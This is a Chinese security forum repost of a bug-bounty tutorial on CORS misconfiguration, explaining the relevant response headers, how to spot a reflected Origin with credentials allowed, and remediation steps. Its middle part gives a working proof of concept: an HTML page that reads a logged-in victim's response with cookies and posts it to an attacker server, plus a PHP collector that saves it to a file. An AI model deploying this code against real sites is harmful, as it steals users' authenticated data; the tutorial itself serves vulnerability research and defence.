安全矩阵

 找回密码
 立即注册
搜索
查看: 854|回复: 0

SRC实战 | CORS跨资源共享漏洞

[复制链接]

417

主题

417

帖子

2391

积分

金牌会员

Rank: 6Rank: 6

积分
2391
发表于 2023-11-12 14:20:49 | 显示全部楼层 |阅读模式
zkaq - 小博 掌控安全EDU 2023-11-06 12:01 发表于江西

本文由掌控安全学院 - 小博 投稿
CORS跨资源共享
跨源资源共享 (CORS) 是一种浏览器机制,允许网页使用来自其他页面或域的资产和数据。
大多数站点需要使用资源和图像来运行它们的脚本。这些嵌入式资产存在安全风险,因为这些资产可能包含病毒或允许服务器访问黑客。
CORS响应头
CORS通过在服务器端设置响应头来进行配置。当浏览器发起跨域请求时,服务器可以通过设置特定的CORS响应头来告知浏览器是否允许该请求。常见的CORS响应头包括以下几个:
Access-Control-Allow-Origin:指定允许访问该资源的源。可以是具体的源或通配符(*),表示允许来自任意源的访问。
Access-Control-Allow-Methods:指定允许的HTTP方法(如GET、POST、PUT等)。
Access-Control-Allow-Headers:指定允许的请求头字段。
Access-Control-Allow-Credentials:指定是否允许发送身份凭证(如cookies、HTTP认证等)。
Access-Control-Max-Age:指定预检请求(OPTIONS)的有效期,以减少对服务器的频繁请求。
寻找CORS漏洞
在数据包请求体中加入一个origin请求头

  1. origin: http://xxxx.com
复制代码


观察响应包,发现Origin可控,
  1. Access-Control-Allow-Credentials: true
  2. Access-Control-Allow-origin:http://xxxx.com
复制代码


还没有验证referer,就说明可以劫持了。
实战原理
如果目标存在CORS跨资源共享漏洞,对方管理员在没有退出自己所管理的网站的情况下,点击恶意攻击者已经构造好的恶意网站,攻击者可以修改Origin字段为任意指定的值,实现绕过浏览器同源策略的限制,基于CORS漏洞发起恶意请求,实现对目标资源的恶意跨域访问,并读取服务器的响应结果,从而造成服务器的信息泄露。
实战演示发现cors
通过抓包抓到一个可以响应自己sessionid的请求体

加入请求体origin:http://xxxx.com
观察响应体发现存在cors跨资源共享漏洞
进行跨资源共享
1.html
poc如下:

  1. <h1>CORS test</h1>

  2. function loadXMLDoc()
  3. {
  4.     var xhr1;
  5.     var xhr2;

  6.     if(window.XMLHttpRequest)
  7.     {
  8.         xhr1 = new XMLHttpRequest();
  9.         xhr2 = new XMLHttpRequest();
  10.     }
  11.     else
  12.     {
  13.         xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
  14.         xhr2= new ActiveXObject("Microsoft.XMLHTTP");
  15.     }
  16.     xhr1.onreadystatechange=function()
  17. {
  18.         if(xhr1.readyState == 4 && xhr1.status == 200) //if receive xhr1 response
  19.         {
  20.             var datas=xhr1.responseText;
  21.             xhr2.open("POST","http://要输入自己的炮台文件地址(需要公网ip)","true");
  22.             alert('3');
  23.             xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded;charset=utf-8");
  24.             xhr2.send("T1="+escape(datas));      
  25.         }
  26.     }
  27.     xhr1.open("GET","https://要输入的存在cors漏洞的url地址","true") //request user page.
  28.     alert(xhr1.responseText);
  29.     xhr1.withCredentials = true;        //request with cookie
  30.     xhr1.send();
  31. }
  32. loadXMLDoc();
复制代码

save.php
poc如下:

  1. <?php
  2. $myfile = fopen("1.txt","w+") or die("Unable to open file!");
  3. $txt = $_POST['T1'];
  4. fwrite($myfile,$txt);
  5. fclose($myfile);
  6. ?>
复制代码

在没有退出目标网站的情况下去访问我们已经构造好的恶意网站http://xxxx.com/1.html
1.html会获取到响应体的内容并且把内容发给save.php,并且创建一个1.txt文件,把信息放到1.txt中

修复建议
1、正确配置跨域请求
如果Web资源包含敏感信息,则应在Access-Control-Allow-Origin标头中正确指定来源。
2、只允许信任的网站
3、避免将null列入白名单
避免使用标题Access-Control-Allow-Origin: null。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-8 08:50 , Processed in 0.012688 second(s), 20 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表